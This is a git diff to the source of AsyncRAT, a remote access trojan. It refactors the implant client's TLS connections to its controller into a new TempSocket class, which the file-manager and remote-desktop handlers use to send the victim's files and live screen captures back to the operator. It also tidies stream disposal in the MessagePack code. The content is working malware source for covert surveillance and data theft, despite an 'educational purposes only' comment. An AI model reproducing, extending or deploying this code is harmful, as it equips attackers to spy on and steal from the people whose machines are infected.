diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs index 22b90bc..140bf48 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/Handle Packet/HandlePing.cs @@ -1,5 +1,6 @@ using AsyncRAT_Sharp.MessagePack; using AsyncRAT_Sharp.Sockets; +using System.Diagnostics; using System.Windows.Forms; namespace AsyncRAT_Sharp.Handle_Packet @@ -18,6 +19,10 @@ namespace AsyncRAT_Sharp.Handle_Packet { client.LV.SubItems[Program.form1.lv_prefor.Index].Text = unpack_msgpack.ForcePathObject("Message").AsString; } + else + { + Debug.WriteLine("Temp socket pinged server"); + } } catch { } })); diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs b/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs index c1a35fa..704bb14 100644 --- a/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs +++ b/AsyncRAT-C#/AsyncRAT-Sharp/MessagePack/MsgPack.cs @@ -378,6 +378,7 @@ namespace AsyncRAT_Sharp.MessagePack value = new byte[fs.Length]; await fs.ReadAsync(value, 0, (int)fs.Length); fs.Close(); + fs.Dispose(); SetAsBytes(value); return true; } @@ -395,6 +396,7 @@ namespace AsyncRAT_Sharp.MessagePack FileStream fs = new FileStream(fileName, FileMode.Append); fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); fs.Close(); + fs.Dispose(); return true; } else @@ -492,10 +494,12 @@ namespace AsyncRAT_Sharp.MessagePack public void DecodeFromBytes(byte[] bytes) { - MemoryStream ms = new MemoryStream(); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } } public void DecodeFromFile(string fileName) @@ -827,12 +831,14 @@ namespace AsyncRAT_Sharp.MessagePack public byte[] Encode2Bytes() { - MemoryStream ms = new MemoryStream(); - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return r; + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } } public void Encode2Stream(Stream ms) diff --git a/AsyncRAT-C#/Client/Client.csproj b/AsyncRAT-C#/Client/Client.csproj index 1891db6..9270ac9 100644 --- a/AsyncRAT-C#/Client/Client.csproj +++ b/AsyncRAT-C#/Client/Client.csproj @@ -119,6 +119,7 @@ + diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs index 6e310a1..02550c6 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleFileManager.cs @@ -16,7 +16,7 @@ using System.Threading; namespace Client.Handle_Packet { - public class FileManager + public class FileManager { public void GetDrivers() { @@ -96,14 +96,7 @@ namespace Client.Handle_Packet { try { - Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) - { - ReceiveBufferSize = 50 * 1024, - SendBufferSize = 50 * 1024, - }; - Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); - SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); - SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + TempSocket tempSocket = new TempSocket(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "socketDownload"; @@ -111,7 +104,7 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("DWID").AsString = dwid; msgpack.ForcePathObject("File").AsString = file; msgpack.ForcePathObject("Size").AsString = new FileInfo(file).Length.ToString(); - ChunkSend(msgpack.Encode2Bytes(), Client, SslClient); + tempSocket.Send(msgpack.Encode2Bytes()); MsgPack msgpack2 = new MsgPack(); @@ -120,8 +113,8 @@ namespace Client.Handle_Packet msgpack2.ForcePathObject("DWID").AsString = dwid; msgpack2.ForcePathObject("Name").AsString = Path.GetFileName(file); msgpack2.ForcePathObject("File").SetAsBytes(File.ReadAllBytes(file)); - ChunkSend(msgpack2.Encode2Bytes(), Client, SslClient); - + tempSocket.Send(msgpack2.Encode2Bytes()); + tempSocket.Dispose(); } catch { @@ -129,108 +122,47 @@ namespace Client.Handle_Packet } } - private void ChunkSend(byte[] msg, Socket client, SslStream ssl) - { - try - { - byte[] buffersize = BitConverter.GetBytes(msg.Length); - client.Poll(-1, SelectMode.SelectWrite); - ssl.Write(buffersize); - ssl.Flush(); + //private void ChunkSend(byte[] msg, Socket client, SslStream ssl) + //{ + // try + // { + // byte[] buffersize = BitConverter.GetBytes(msg.Length); + // client.Poll(-1, SelectMode.SelectWrite); + // ssl.Write(buffersize); + // ssl.Flush(); - int chunkSize = 50 * 1024; - byte[] chunk = new byte[chunkSize]; - using (MemoryStream buffereReader = new MemoryStream(msg)) - { - BinaryReader binaryReader = new BinaryReader(buffereReader); - int bytesToRead = (int)buffereReader.Length; - do - { - chunk = binaryReader.ReadBytes(chunkSize); - bytesToRead -= chunkSize; - ssl.Write(chunk); - ssl.Flush(); - } while (bytesToRead > 0); + // int chunkSize = 50 * 1024; + // byte[] chunk = new byte[chunkSize]; + // using (MemoryStream buffereReader = new MemoryStream(msg)) + // { + // BinaryReader binaryReader = new BinaryReader(buffereReader); + // int bytesToRead = (int)buffereReader.Length; + // do + // { + // chunk = binaryReader.ReadBytes(chunkSize); + // bytesToRead -= chunkSize; + // ssl.Write(chunk); + // ssl.Flush(); + // } while (bytesToRead > 0); - binaryReader.Dispose(); - } - } - catch - { - return; - } - } + // binaryReader.Dispose(); + // } + // } + // catch { return; } + //} public void ReqUpload(string id) { - Socket Client = null; - SslStream SslClient = null; try { - Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) - { - ReceiveBufferSize = 50 * 1024, - SendBufferSize = 50 * 1024, - }; - Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); - SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); - SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); - - + TempSocket tempSocket = new TempSocket(); MsgPack msgpack = new MsgPack(); msgpack.ForcePathObject("Packet").AsString = "fileManager"; msgpack.ForcePathObject("Command").AsString = "reqUploadFile"; msgpack.ForcePathObject("ID").AsString = id; - ChunkSend(msgpack.Encode2Bytes(), Client, SslClient); - - - byte[] sslBuffer = new byte[4]; - MemoryStream sslMS = new MemoryStream(); - int sslSize = 0; - while (Client.Connected) - { - while (sslMS.Length != 4) - { - int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length); - sslMS.Write(sslBuffer, 0, read); - if (read == 0) break; - } - sslSize = BitConverter.ToInt32(sslMS.ToArray(), 0); - sslBuffer = new byte[sslSize]; - sslMS.Dispose(); - sslMS = new MemoryStream(); - while (sslMS.Length != sslSize) - { - int read = SslClient.Read(sslBuffer, 0, sslBuffer.Length); - if (read == 0) break; - sslMS.Write(sslBuffer, 0, read); - sslBuffer = new byte[sslSize - sslMS.Length]; - } - ThreadPool.QueueUserWorkItem(Packet.Read, sslMS.ToArray()); - sslMS.Dispose(); - sslMS = new MemoryStream(); - sslBuffer = new byte[4]; - //SslClient?.Close(); - //Client?.Close(); - //SslClient?.Dispose(); - //Client?.Dispose(); - break; - } - } - catch - { - SslClient?.Dispose(); - Client?.Dispose(); + tempSocket.Send(msgpack.Encode2Bytes()); } + catch { return; } } - - private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) - { -#if DEBUG - return true; -#endif - return Settings.ServerCertificate.Equals(certificate); - } - } } diff --git a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs index c5e95dc..444419c 100644 --- a/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs +++ b/AsyncRAT-C#/Client/Handle Packet/HandleRemoteDesktop.cs @@ -22,21 +22,13 @@ namespace Client.Handle_Packet { try { - Socket Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) - { - SendBufferSize = 50 * 1024, - ReceiveBufferSize = 50 * 1024, - }; - Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); - - SslStream SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); - SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + TempSocket tempSocket = new TempSocket(); string hwid = Methods.HWID(); IUnsafeCodec unsafeCodec = new UnsafeStreamCodec(quality); - while (Client.Connected) + while (tempSocket.Client.Connected) { - if (!ClientSocket.Client.Connected || !ClientSocket.IsConnected) break; + if (!tempSocket.IsConnected || !ClientSocket.IsConnected) break; Bitmap bmp = GetScreen(Scrn); Rectangle rect = new Rectangle(0, 0, bmp.Width, bmp.Height); Size size = new Size(bmp.Width, bmp.Height); @@ -53,14 +45,15 @@ namespace Client.Handle_Packet msgpack.ForcePathObject("ID").AsString = hwid; msgpack.ForcePathObject("Stream").SetAsBytes(stream.ToArray()); msgpack.ForcePathObject("Screens").AsInteger = Convert.ToInt32(System.Windows.Forms.Screen.AllScreens.Length); - SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); - SslClient.Write(msgpack.Encode2Bytes()); - SslClient.Flush(); + tempSocket.SslClient.Write(BitConverter.GetBytes(msgpack.Encode2Bytes().Length)); + tempSocket.SslClient.Write(msgpack.Encode2Bytes()); + tempSocket.SslClient.Flush(); } } bmp.UnlockBits(bmpData); bmp.Dispose(); } + tempSocket.Dispose(); } catch { } } @@ -78,14 +71,5 @@ namespace Client.Handle_Packet } catch { return new Bitmap(rect.Width, rect.Height); } } - - private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) - { -#if DEBUG - return true; -#endif - return Settings.ServerCertificate.Equals(certificate); - } - } } diff --git a/AsyncRAT-C#/Client/MessagePack/MsgPack.cs b/AsyncRAT-C#/Client/MessagePack/MsgPack.cs index 92e0df3..7f4ebf3 100644 --- a/AsyncRAT-C#/Client/MessagePack/MsgPack.cs +++ b/AsyncRAT-C#/Client/MessagePack/MsgPack.cs @@ -376,6 +376,7 @@ namespace Client.MessagePack value = new byte[fs.Length]; fs.Read(value, 0, (int)fs.Length); fs.Close(); + fs.Dispose(); SetAsBytes(value); return true; } @@ -393,6 +394,7 @@ namespace Client.MessagePack FileStream fs = new FileStream(fileName, FileMode.Append); fs.Write(((byte[])this.innerValue), 0, ((byte[])this.innerValue).Length); fs.Close(); + fs.Dispose(); return true; } else @@ -490,10 +492,12 @@ namespace Client.MessagePack public void DecodeFromBytes(byte[] bytes) { - MemoryStream ms = new MemoryStream(); - ms.Write(bytes, 0, bytes.Length); - ms.Position = 0; - DecodeFromStream(ms); + using (MemoryStream ms = new MemoryStream()) + { + ms.Write(bytes, 0, bytes.Length); + ms.Position = 0; + DecodeFromStream(ms); + } } public void DecodeFromFile(string fileName) @@ -825,12 +829,14 @@ namespace Client.MessagePack public byte[] Encode2Bytes() { - MemoryStream ms = new MemoryStream(); - Encode2Stream(ms); - byte[] r = new byte[ms.Length]; - ms.Position = 0; - ms.Read(r, 0, (int)ms.Length); - return r; + using (MemoryStream ms = new MemoryStream()) + { + Encode2Stream(ms); + byte[] r = new byte[ms.Length]; + ms.Position = 0; + ms.Read(r, 0, (int)ms.Length); + return r; + } } public void Encode2Stream(Stream ms) diff --git a/AsyncRAT-C#/Client/Sockets/TempSocket.cs b/AsyncRAT-C#/Client/Sockets/TempSocket.cs new file mode 100644 index 0000000..e104f7d --- /dev/null +++ b/AsyncRAT-C#/Client/Sockets/TempSocket.cs @@ -0,0 +1,190 @@ +using Client.Handle_Packet; +using Client.Helper; +using Client.MessagePack; +using Microsoft.VisualBasic.Devices; +using System; +using System.Diagnostics; +using System.IO; +using System.Net.Sockets; +using System.Threading; +using System.Text; +using System.Security.Principal; +using System.Net.Security; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Net; + +// │ Author : NYAN CAT +// │ Name : Nyan Socket v0.1 +// │ Contact : https://github.com/NYAN-x-CAT + +// This program is distributed for educational purposes only. + +namespace Client.Sockets +{ + public class TempSocket + { + public Socket Client { get; set; } + public SslStream SslClient { get; set; } + private byte[] Buffer { get; set; } + private long Buffersize { get; set; } + // private Timer Tick { get; set; } + private MemoryStream MS { get; set; } + public bool IsConnected { get; set; } + private object SendSync { get; } = new object(); + + public TempSocket() + { + if (!ClientSocket.IsConnected) return; + + try + { + Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) + { + ReceiveBufferSize = 50 * 1024, + SendBufferSize = 50 * 1024, + }; + + Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); + + if (Client.Connected) + { + Debug.WriteLine("Temp Connected!"); + IsConnected = true; + SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); + SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); + Buffer = new byte[4]; + MS = new MemoryStream(); + // Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + } + catch + { + Debug.WriteLine("Temp Disconnected!"); + Dispose(); + IsConnected = false; + } + } + + private bool ValidateServerCertificate(object sender, X509Certificate certificate, X509Chain chain, SslPolicyErrors sslPolicyErrors) + { +#if DEBUG + return true; +#endif + return Settings.ServerCertificate.Equals(certificate); + } + + public void Dispose() + { + + try + { + // Tick?.Dispose(); + SslClient?.Dispose(); + Client?.Dispose(); + MS?.Dispose(); + } + catch { } + } + + public void ReadServertData(IAsyncResult ar) + { + try + { + if (!Client.Connected || !IsConnected) + { + IsConnected = false; + Dispose(); + return; + } + int recevied = SslClient.EndRead(ar); + if (recevied > 0) + { + MS.Write(Buffer, 0, recevied); + if (MS.Length == 4) + { + Buffersize = BitConverter.ToInt32(MS.ToArray(), 0); + Debug.WriteLine("/// Client Buffersize " + Buffersize.ToString() + " Bytes ///"); + MS.Dispose(); + MS = new MemoryStream(); + if (Buffersize > 0) + { + Buffer = new byte[Buffersize]; + while (MS.Length != Buffersize) + { + int rc = SslClient.Read(Buffer, 0, Buffer.Length); + if (rc == 0) + { + IsConnected = false; + Dispose(); + return; + } + MS.Write(Buffer, 0, rc); + Buffer = new byte[Buffersize - MS.Length]; + } + if (MS.Length == Buffersize) + { + ThreadPool.QueueUserWorkItem(Packet.Read, MS.ToArray()); + Buffer = new byte[4]; + MS.Dispose(); + MS = new MemoryStream(); + } + else + Buffer = new byte[Buffersize - MS.Length]; + } + } + SslClient.BeginRead(Buffer, 0, Buffer.Length, ReadServertData, null); + } + else + { + IsConnected = false; + Dispose(); + return; + } + } + catch + { + IsConnected = false; + Dispose(); + return; + } + } + + public void Send(byte[] msg) + { + lock (SendSync) + { + try + { + if (!IsConnected || msg == null || !ClientSocket.IsConnected) + { + return; + } + + byte[] buffer = msg; + byte[] buffersize = BitConverter.GetBytes(buffer.Length); + + Client.Poll(-1, SelectMode.SelectWrite); + SslClient.Write(buffersize, 0, buffersize.Length); + SslClient.Write(buffer, 0, buffer.Length); + SslClient.Flush(); + } + catch + { + IsConnected = false; + Dispose(); + return; + } + } + } + + public void CheckServer(object obj) + { + MsgPack msgpack = new MsgPack(); + msgpack.ForcePathObject("Packet").AsString = "Ping"; + Send(msgpack.Encode2Bytes()); + } + + } +} \ No newline at end of file